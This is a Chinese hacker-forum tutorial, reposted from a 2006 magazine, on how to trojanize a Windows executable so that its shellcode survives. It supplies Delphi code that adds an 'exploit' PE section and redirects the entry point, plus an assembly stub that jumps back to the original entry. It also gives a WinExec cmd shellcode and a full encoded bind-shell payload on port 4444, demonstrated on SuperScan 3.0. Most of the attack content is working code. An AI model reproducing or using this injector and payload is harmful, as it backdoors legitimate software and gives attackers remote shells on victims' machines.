不死的shellcode
文章作者:DarkBoxer暗夜拳师
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
嘻嘻,今天把电脑的一些东西转移到移动硬盘的时候,发现自己以前投过的几篇稿件,粗看了一篇觉得有几篇还是有点余热,索性提交到邪八,希望可以对有需要的朋友一些帮助…菜鸟写的菜文,高手就不要笑话了
本文曾发表于黑防06年第8期
我想大家都知道shellcode是什么吧,说透了,就是能够实现攻击者目的的一段机器码.
在溢出攻击中,就是让有漏洞的机器执行这段机器码,达到攻击的目的,漏洞利用完了,shellcode就等于死了,不存在了,如果目标机器把漏洞补好了,那溢出攻击就会失效了,有没有办法在一次溢出成功后,shellcode仍然存在呢?
N 久以前,看过一篇文章<也谈把QQ2005做成后门之编程实现>,哇,受益菲浅哦.作者的思路是,通过搜索查找exe文件的最后一个区块,在这个区块后面搜索足够大小空间的00块,在他们后面存放后门代码,通过更改程序入口点,执行后门代码,最后跳回程序原来的入口点.继续执行.
不过,正如元哥所说,对VC++等编译的可执行文件的代码块是.text,而,Delphi编译的,会是.code,这样在查找区块的时候,还是有一点缺乏通用性.
呵呵,其实除了搜索空白区域,还有一种办法可以达到同样的效果,那就是给可执行文件增加区块,感觉似乎通用性要强那么一点点^_^
那,我开始讲解我的思路吧:
1. 为可执行文件增加一个”exploit”区块
2. 在”exploit”区块中加载我们所希望的shellcode
3. 更改可执行文件的入口点,使其先执行我们的shellcode
4. 恢复程序真正入口点,使其得以继续执行
5. over!
好, 我们开始打造吧,本程序这是用delphi编译的,来看看代码,测试的时候先用开DOS窗口的shellcode吧(这里开DOS窗口的WinExec函数的地址,我用的本机上的,大家可以用GetWinEexecAddr.cpp获得,光盘有收录,不过要记住顺序是反过来的哦):
JMPOFF = 25; //偏移25个字节
SHELLCODE: THEAD = ($55,$8B,$EC, $51,$C7,$45,$FC,$63,$6D,$64,
$00,$6A,$05,$8D,$45,$FC,$50,$B8,
$4D,$11,$86,$7C, //我机器上WinExec函数地址
$FF,$D0, $B8, //到这里正好25个字节
$00,$10,$40,$00,$FF,$E0);
为什么要25个字节呢?看到最后一行没有,其实这是我从VC花指令改造过来的,最后一行是不是VC程序通常的入口点0x401000呢.这样配合下面的汇编代码,我们将很容易的恢复程序原本的入口点.在本文后面我们将看见绑定4444端口的shellcode的时候, JMPOFF赋值为317,所以,你选择的shellocde的长度是多少,JMPOFF就赋予多少.
PUSHAD //寄存器入栈
LEA eax, SHELLCODE //将SHELLCODE的地址交给寄存器eax
ADD eax, JMPOFF //eax=eax+JMPOFF
MOV edx, AddressOfEntryPoint //将入口点赋值给edx
MOV DWORD ptr [eax], edx //同上
POPAD //所有寄存器出栈
我这里测试的目标是superscan3.0,大家可以自己选择,我们用OD加载被增加区块的superscan3.0,如图
图一
好了,下面是在增加区块的代码了,不明白下面这些东东的朋友需要温习一下PE文件格式哦
fs.Seek(0, soFromBeginning); //指向文件头
fs.Read(DOSHEADER, sizeof(DOSHEADER)); //DOS下可行执行文件头,大家应该知道“MZ”//标志吧
fs.Seek(DOSHEADER._lfanew, soFromBeginning);//指向PE头部
fs.Read(PEHEADER, sizeOf(PEHEADER)); //PE文件头信息
fs.Seek(sizeOf(SectionHeader) *
(PEHEADER.FileHeader.NumberOfSections - 1), soFromCurrent);//定位到最后一个区块位置
fs.Read(SectionHeader, sizeof(IMAGE_SECTION_HEADER));
MySectionHeader.Name[0] := ord('e'); //给增加的区块命名”exploit”
MySectionHeader.Name[1] := ord('x');
MySectionHeader.Name[2] := ord('p');
MySectionHeader.Name[3] := ord('l');
MySectionHeader.Name[4] := ord('o');
MySectionHeader.Name[5] := ord('i');
MySectionHeader.Name[6] := ord('t');
MySectionHeader.Name[7] := 0;
MySectionHeader.VirtualAddress := PEHEADER.OptionalHeader.SizeOfImage;//整个文件的映像尺寸
MySectionHeader.Misc.VirtualSize := $500; //虚拟地址大小
MySectionHeader.SizeOfRawData := (MySectionHeader.VirtualAddress div
PEHEADER.OptionalHeader.FileAlignment + 1) * PEHEADER.OptionalHeader.FileAlignment -
PEHEADER.OptionalHeader.SizeOfImage; //SizeOfRawData在EXE文件中是对齐到//FileAlignMent的整数倍的
MySectionHeader.PointerToRawData :=
SectionHeader.SizeOfRawData + SectionHeader.PointerToRawData; //改变在文件中的偏移
MySectionHeader.Characteristics:=$E000002 //E000002表示可读可执行
Inc(PEHEADER.FileHeader.NumberOfSections);//区块增加一个
fs.Write(MySectionHeader, sizeOf(MySectionHeader)); //把信息写入新增加的区块
fs.Seek(DOSHEADER._lfanew, soFromBeginning);//定位到PE文件头
AddressOfEntryPoint := PEHEADER.OptionalHeader.AddressOfEntryPoint; //保存原来的程序的入
//口点
PEHEADER.OptionalHeader.AddressOfEntryPoint :=
MySectionHeader.VirtualAddress; //更改文件的入口点为增加的区块的入口点
PEHEADER.OptionalHeader.MajorLinkerVersion := 7; //版本信息
PEHEADER.OptionalHeader.MinorLinkerVersion := 0;
AddressOfEntryPoint := AddressOfEntryPoint +
PEHEADER.OptionalHeader.ImageBase; //程序入口点是一个RVA值,加上基地址就是程序运行//时候的入口函数的起始虚地址
//
//。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。
//
PEHEADER.OptionalHeader.SizeOfImage :=
PEHEADER.OptionalHeader.SizeOfImage + MySectionHeader.Misc.VirtualSize;//改变整个文件的
//映像尺寸
fs.Write(PEHEADER, sizeof(PEHEADER)); //重写PE文件
fs.Seek(fs.Size, soFromBeginning); //定位文件大小,区块位置
fs.Write(SHELLCODE, MySectionHeader.Misc.VirtualSize)//写入SHELLCODE
看一下增加的区块,如图2
好了,打造完毕,测试一下功能,成功,启动superscan3.0的时候,DOS窗口也打开了,如图3
图3
但是,似乎只开了DOS,感觉不是太完美,那测试一个绑定4444端口的吧。
JMPOFF = 317; //前面已经说了为什么会是317了
SHELLCODE: THEAD = (
$eb,$10,$5b,$4b,$33,$c9,$66,$b9,$23,$01,$80,$34,$0b,$f8,$e2,$fa,
$eb,$05,$e8,$eb,$ff,$ff,$ff,$11,$01,$f8,$f8,$f8,$a7,$9c,$59,$c8,
$f8,$f8,$f8,$73,$b8,$f4,$73,$88,$e4,$55,$73,$90,$f0,$73,$0f,$92,
$fb,$a1,$10,$61,$f8,$f8,$f8,$1a,$01,$90,$cb,$ca,$f8,$f8,$90,$8f,
$8b,$ca,$a7,$ac,$07,$ee,$73,$10,$92,$fd,$a1,$10,$78,$f8,$f8,$f8,
$1a,$01,$79,$14,$68,$f9,$f8,$f8,$ac,$90,$f9,$f9,$f8,$f8,$07,$ae,
$f4,$a8,$a8,$a8,$a8,$92,$f9,$92,$fa,$07,$ae,$e8,$73,$20,$cb,$38,
$a8,$a8,$90,$fa,$f8,$e9,$a4,$73,$34,$92,$e8,$a9,$ab,$07,$ae,$ec,
$92,$f9,$ab,$07,$ae,$e0,$a8,$a8,$ab,$07,$ae,$e4,$73,$20,$90,$9b,
$95,$9c,$f8,$75,$ec,$dc,$7b,$14,$ac,$73,$04,$92,$ec,$a1,$cb,$38,
$71,$fc,$77,$1a,$03,$3e,$bf,$e8,$bc,$06,$bf,$c4,$06,$bf,$c5,$71,
$a7,$b0,$71,$a7,$b4,$71,$a7,$a8,$75,$bf,$e8,$af,$a8,$a9,$a9,$a9,
$92,$f9,$a9,$a9,$aa,$a9,$07,$ae,$fc,$cb,$38,$b0,$a8,$07,$ae,$f0,
$a9,$ae,$73,$8d,$c4,$73,$8c,$d6,$80,$fb,$0d,$ae,$73,$8e,$d8,$fb,
$0d,$cb,$31,$b1,$b9,$55,$fb,$3d,$cb,$23,$f7,$46,$e8,$c2,$2e,$8c,
$f0,$39,$33,$ff,$fb,$22,$b8,$13,$09,$c3,$e7,$8d,$1f,$a6,$73,$a6,
$dc,$fb,$25,$9e,$73,$f4,$b3,$73,$a6,$e4,$fb,$25,$73,$fc,$73,$fb,
$3d,$53,$a6,$a1,$3b,$10,$fa,$07,$07,$07,$ca,$8c,$69,$f4,$31,$44,
$5e,$93,$77,$0a,$e0,$99,$c5,$92,$4c,$78,$d5,$ca,$80,$26,$9c,$e8,
$5f,$25,$f4,$67,$2b,$b3,$49,$e6,$6f,$f9,
$8B, $E8, $B8, //到这里正好317个字节
$00, $10, $40, $00, $FF,
$E0);
如图4
这时候telnet 4444端口就如图5了^_^
图5
OK,收工了!!!!至于反向连接,下载执行的shellcode,读者朋友可以自己测试,记住JMPOFF为shellcode 的长度哦。
回顾一下,把shellcode保存在新增的区块中,是不是就可以达到shellcode不死的目的呢.如果把这段代码也提取为shellcode,嘿嘿,那是不是跟好一点呢,这些就靠朋友们去拓展吧,嘻嘻~~~~,另外,我要说明一下,有些可执行文件会限制区块的大小,这样会限制我们加载理想的 shellcode,如果超出大小,有的可能会执行我们的功能,但程序本身的功能失去,有的甚至会出错,唉,这个世界真是缺乏完美^_^
最后,在说几句废话,这本来是破解里的文件补丁技术,或者是通过花指令防破解的技术,或者是防杀毒软件的免杀技术,再或者是病毒加载宿主程序的技术,现在被我们用在缓冲区溢出攻击里,看来, 黑客技术在各个领域都是相通的哦…
经典,转走了!